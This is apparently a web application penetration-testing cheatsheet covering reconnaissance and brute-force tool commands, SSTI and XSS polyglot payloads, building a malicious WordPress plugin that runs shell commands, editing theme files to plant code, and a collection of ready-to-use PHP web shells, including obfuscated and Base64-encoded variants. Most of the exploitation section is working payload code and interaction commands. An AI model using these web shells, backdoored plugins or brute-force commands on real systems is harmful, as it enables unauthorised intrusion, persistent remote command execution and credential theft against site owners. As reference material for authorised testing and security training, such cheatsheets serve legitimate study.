Web Application Pentesting Cheatsheet
Reconnaissance
Subdomain Scanning
gobuster vhost -u http(s)://<target.site> -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain -r
[Uses GoBuster to scan a given target for 'vhosts' (subdomains)]
ffuf -u http(s)://<target.site> -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.<target.site>" <filter_args>
[Uses FFUF to scan for valid subdomains]
Filtering:
-fc Filter by HTTP status codes. Comma separated list of codes
-fl Filter by amount of lines in response. Comma separated list of line counts
-fs Filter by HTTP response size. Comma separated list of sizes
-fw Filter by amount of words in response. Comma separated list of word counts
Directory Scanning
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -u http(s)://<target.site>/FUZZ/ <filter_args>
[Uses FFUF to scan for valid directories]
Filtering:
-fc Filter by HTTP status codes. Comma separated list of codes
-fl Filter by amount of lines in response. Comma separated list of line counts
-fs Filter by HTTP response size. Comma separated list of sizes
-fw Filter by amount of words in response. Comma separated list of word counts
gobuster dir -u http(s)://<target.site>/ -w /usr/share/seclists/Web-Content/raft-large-directories.txt
[Uses GoBuster to scan for valid directories]
- Recursive Directory Scanning
feroxbuster -u http(s)://<target.site>/
[Uses FeroxBuster to recursively scan for valid directories]
- Scan for files
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt -u http(s)://<target.site>/FUZZ/ <filter_args>
[Uses FFUF to scan for common files]
Filtering:
-fc Filter by HTTP status codes. Comma separated list of codes
-fl Filter by amount of lines in response. Comma separated list of line counts
-fs Filter by HTTP response size. Comma separated list of sizes
-fw Filter by amount of words in response. Comma separated list of word counts
Parameter Fuzzing
arjun -u http(s)://<target.site>/login.php
[Uses arjun to scan for valid parameters passed to a specified endpoint]
WordPress Scanning
wpscan --url http(s)://<target.site>
[Uses WPScan to scan a WordPress site for themes and plugins]
- Enumerate Users
wpscan --url http(s)://<target.site> -e u
[Scans for valid user IDs and usernames]
- Enumerate All Plugins
wpscan --url http(s)://<target.site> -e ap
[Scans for all plugins]
- Enumerate Popular Plugins
wpscan --url http(s)://<target.site> -e p
[Scans for popular plugins]
- Enumerate All Themes
wpscan --url http(s)://<target.site> -e at
[Scans for all themes]
- Enumerate Popular Themes
wpscan --url http(s)://<target.site> -e t
[Scans for popular themes]
- Enumerate Vulnerable Plugins
wpscan --url http(s)://<target.site> -e vp
[Scans for vulnerable plugins]
- Enumerate Vulnerable Themes
wpscan --url http(s)://<target.site> -e vt
[Scans for vulnerable themes]
- Enumerate Config Backups
wpscan --url http(s)://<target.site> -e cb
[Scans for configuration backups]
- Brute-force Passwords for Found Usernames
wpscan --url http(s)://<target.site> -e u -P <password_list>
[Brute-forces password for enumerated users]
- Brute-force Passwords for Usernames in a list
wpscan --url http(s)://<target.site> -U <username_list> -P <password_list>
[Brute-forces passwords for supplied usernames]
- Stealthy Scan
wpscan --url http(s)://<target.site> --stealthy
[Only uses passive detection and uses random user-agents]
SSTI (Server-Side Template Injection)
SSTI is the term used for injecting a payload, containing valid templating syntax, into a web request that results in unintended output such as verbose errors, source code exposure, variable value exposure, environment variable value exposure, and but not limited to remote code execution.
You can use a SSTI polyglot to help identify an SSTI vulnerability, but it will not tell you what templating engine is being used to allow you to craft a targeted payload.
SSTI Error-based Polyglot:
<%'${{/#{@}}%>{{
As for identifying which templating engine is being used, you can follow a payload tree.
A payload tree gives you different payloads to try, if it succeeds, then you continue to
test further, if it fails, then the previous successful payload indicates the templating
engine being used.
There is a very in-depth SSTI payload tree on hacktricks’ webpage about SSTI.
You can also use a tool named TPLMap to automatically test for SSTI, find a valid payload, and attempt remote code execution for you.
XSS (Cross-Site Scripting)
When testing for XSS it can be really time consuming testing hundreds of different payloads
with different keywords and syntax’s.
Luckily, there is an XSS polyglot that can simply be copied and pasted to help identify XSS
vulnerabilities much quicker.
XSS Polyglot created by 0xsobky:
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
Default Credentials
A lot of times, developers, webadmins, and sysadmins forget to change the default credentials for services after the initial installation.
If you can find out the software/service and the version running then you can often do a simple web search to find default credentials.
However, there is a Github respository that contains a CSV file full of default credentials for different services. It is alphabetically ordered and updated regularly.
Default Credentials Cheatsheet by ihebski
Finding Vulnerable Software Exploits
If you can find the version of a software being used, for example a WordPress plugin, you can search for the software or service name and the version on exploit-db to see if there is an existing exploit that you can use.
You can also use a tool named searchsploit, which is the command-line tool for the exploit-db website.
You run the command: searchsploit <software/service> <version>
to search for exploits.
Another method is loading up msfconsole
and using the search
command to search for a service to see if there is a metasploit module already created that you can use.
Exploitation
WordPress Malicious Plugins and Themes
If you can get credentials for the admin user of a WordPress site, you can sometimes modify WordPress themes or install plugins. Depending on the version of WordPress running as well as the permissions on the underlying OS for installing plugins.
WordPress Plugins
A WordPress plugin, at its most basic form, is just a PHP file containing some comments at the top which tell WordPress things like the name of the plugin, the version, the author, and some others. Underneath the comments is where the main plugin code goes. The PHP file is then zipped into a .zip file before being uploaded and installed.
Example Plugin Template:
<?php
/**
* Plugin Name: MaliciousPlugin
* Version: 1.2.3
* Author: MaliciousPlugin
* Author URI: http://maliciousplugin.fake
* License: GPL2
*/
### MAIN PLUGIN CODE ###
?>
Malicious WordPress Plugin Example:
-
Create the malicious PHP code file
<?php /** * Plugin Name: MaliciousPlugin * Version: 1.2.3 * Author: MaliciousPlugin * Author URI: http://maliciousplugin.fake * License: GPL2 */ system($_GET['cmd']); ?>
-
Zip the file
zip malicious.zip /path/to/plugin.php
Once the plugin is zipped, it can be uploaded via the WordPress Admin plugins panel.
After being installed, it can be accessed at:
http(s)://target.site/wp-content/plugins/<name_of_zip_file>/<name_of_PHP_file>.php?cmd=<command>
The name of the .zip file dictates the location of where the plugin is accessible at.
For example, you name the zip file “MyPlugin”, you would have to access it at:
http(s)://target.site/wp-content/plugins/MyPlugin/<name_of_PHP_file>.php
You can use whatever PHP code you want within the plugin.
A good payload to use would be a reverse-shell payload, like the one written by PentestMonkey.
Just make sure you change the IP address and the port in the reverse-shell and have a listener set up waiting for a callback.
Once the plugin is installed and you click “Activate Plugin”, you should get a callback on your listener.
WordPress Themes
Depending on the version of WordPress running, you may be able to modify the PHP code within a theme in the “Theme Editor” page.
A common theme page to modify is the “404.php” page that is displayed when a user attempts to view a webpage that doesn’t exist.
You should take note of the theme name that the page you are modifying is a part of.
For example, common WordPress themes are named after the year they came out, like “TwentyTwentyFour”. This will be used for accessing
the payload later.
After modifying the code of the page you want to make malicious, and saving it. You can activate the payload by visiting the page in
the browser:
http(s)://target.site/wp-content/themes/<theme_name>/<malicious_page_name>.php
Brute-Force Logins
hydra -l <username> -P <password_file> <service>://<IP|Hostname>
[Uses Hydra to brute-force passwords for a specific username on a given service and target]
hydra -L <username_file> -P <password_file> <service>://<IP|Hostname>
[Brute-forces passwords for each username in the supplied username list]
hydra -C <username:password_file> <service>://<IP|Hostname>
[Tests credentials in a colon separated file supplied (eg. admin:password123)]
Optional Arguments:
-w <number> Time to wait (seconds) between retries
-W <number> Time to wait (seconds) between login attempts
-s <number> Specify a port
-f Stop the attack once a valid username and password are found
-T <number> Set a specific number of threads to use in the attack
-o <filename> Output scan results to given file
-v Verbose mode. Output more information
- Brute-force HTTP Logins (POST):
hydra -l <username> -P <password_file> <IP|Domain> http-post-form "/<login_endpoint>:<username_parameter>=<username>&<password_parameter>=^PASS^:<Incorrect_Password_String>"
- Brute-force HTTP Login (GET):
hydra -v -l <username> -P <password_file> "http-get://<IP|Domain>/<endpoint>:A=BASIC:F=<status_code_for_invalid_login>"
Common Supported Services:
[You can see the full list of supported protocols by running "hydra -h"]
- FTP
- http-{head|get|post}
- http-{get|post}-form
- IMAP
- ldap(2|3)
- mongodb
- mssql
- mysql
- POP3
- postgres
- RDP
- SMB
- SMTP
- SSH
- telnet
- VNC
PHP Web Shells
Basic PHP Web Shells:
GET Request:
<?php system($_GET['cmd']); ?>
<?php echo exec($_GET['cmd']); ?>
<?php passthru($_GET['cmd']) ?>
[Interaction: 'curl http(s)://<target.site>/shell.php?cmd=<command>']
POST Request:
<?php system($_POST['cmd']); ?>
<?php echo exec($_POST['cmd']); ?>
<?php passthru($_POST['cmd']) ?>
[Interaction: 'curl -X POST http(s)://<target.site>/shell.php -d "cmd=<command>"']
More Advanced PHP Web Shells:
<?php system($_SERVER['HTTP_USER_AGENT']); ?>
[Interaction: 'curl http(s)://<target.site>/shell.php -A "<command>"']
<?php echo exec($_SERVER['HTTP_ACCEPT_LANGUAGE']); ?>
[Interaction: 'curl http(s)://<target.site>/shell.php -H "Accept-Language: <command>"']
Obfuscated PHP Web Shells:
<?php $_GET['1']($_GET['2']); ?>
[Interaction: 'curl http(s)://<target.site>/shell.php?1=<function>&2=<command>']
[Example: 'curl http(s)://<target.site>/shell.php?1=system&2=whoami']
<?php $_POST['1']($_POST['2']); ?>
[Interaction: 'curl -X POST http(s)://<target.site>/shell.php -d "1=<function>&2=<command>"']
[Example: 'curl -X POST http(s)://<target.site>/shell.php -d "1=system&2=whoami"']
More Advanced Obfuscated PHP Web Shells:
<?php
if (isset($_GET['1']) and isset($_GET['2'])) {
if (isset($_GET['3'])) {
$_GET['1']($_GET['2'], $_GET['3']);
} else {
$_GET['1']($_GET['2']);
}
} else {
die();
}
?>
This web shell allows for the use of functions where it takes two arguments.
For example, you want to write a file on the target, you can use the function 'file_put_contents'.
You would interact with it like so:
'http(s)://<target.site>/shell.php?1=file_put_contents&2=<path_to_write_file>&3=<file_contents>'
However, you can also use it as a regular web shell just to run commands:
'http(s)://<target.site>/shell.php?1=system&2=whoami'
A way to obfuscate the interaction with the payload is to use Base64 encoded commands.
<?php
$_GET['1'](base64_decode($_GET['2']));
?>
[Interaction: 'http(s)://<target.site>/shell.php?1=system&2=d2hvYW1pCg==']
['d2hvYW1pCg==' is the Base64 representation of the command 'whoami']